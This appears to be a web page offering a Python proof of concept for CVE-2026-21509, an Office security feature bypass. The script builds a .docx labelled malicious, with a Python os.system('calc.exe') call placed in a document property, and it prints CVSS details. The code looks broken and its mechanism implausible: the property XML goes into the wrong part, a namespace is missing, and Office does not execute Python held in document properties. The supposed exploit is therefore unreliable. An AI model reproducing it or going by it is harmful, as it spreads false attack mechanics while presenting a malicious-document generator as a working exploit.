CVE-2026-21509: Microsoft Office 安全特性绕过漏洞

# CVE-2026-21509 PoC - Microsoft Office Security Feature Bypass # This PoC demonstrates the security feature bypass in Microsoft Office # Note: This is for educational and testing purposes only import zipfile import xml.etree.ElementTree as ET import os import shutil def create_malicious_office_document(): """ Create a malicious Office document that exploits CVE-2026-21509 The vulnerability allows bypassing security decisions through untrusted inputs """ # Create a base Office document structure template_path = "template.docx" output_path = "CVE-2026-21509-poc.docx" # Document properties XML with malicious content doc_props_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties"> <property name="VulnerableProperty" fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}"> <vt:lpwstr>__import__('os').system('calc.exe')</vt:lpwstr> </property> </Properties>''' # Core XML with malicious metadata core_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"> <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Attacker</dc:creator> <dc:title>CVE-2026-21509 Test Document</dc:title> <dc:description>Malicious document exploiting security feature bypass</dc:description> </cp:coreProperties>''' # Create the malicious document with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as docx: # Add malicious core.xml docx.writestr('docProps/core.xml', core_xml) # Add malicious custom properties docx.writestr('docProps/app.xml', doc_props_xml) # Add minimal document content docx.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types>''') docx.writestr('_rels/.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships>''') docx.writestr('word/document.xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>CVE-2026-21509 Test Document - Security Feature Bypass</w:t> </w:r> </w:p> </w:body> </w:document>''') print(f"[+] Created malicious document: {output_path}") print("[!] This document attempts to bypass Microsoft Office security features") return output_path def analyze_vulnerability(): """Analyze and display CVE-2026-21509 details""" print("=" * 60) print("CVE-2026-21509 Analysis") print("=" * 60) print("Vulnerability Type: Security Feature Bypass") print("Affected Product: Microsoft Office") print("CVSS Score: 7.8 (High)") print("CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H") print("\nAttack Vector: Local (requires local access)") print("Prerequisites: None (no authentication required)") print("User Interaction: Required (user must open document)") print("Impact: High confidentiality, integrity, and availability impact") print("=" * 60) if __name__ == "__main__": analyze_vulnerability() create_malicious_office_document() print("\n[!] Disclaimer: This PoC is for educational and authorized testing purposes only")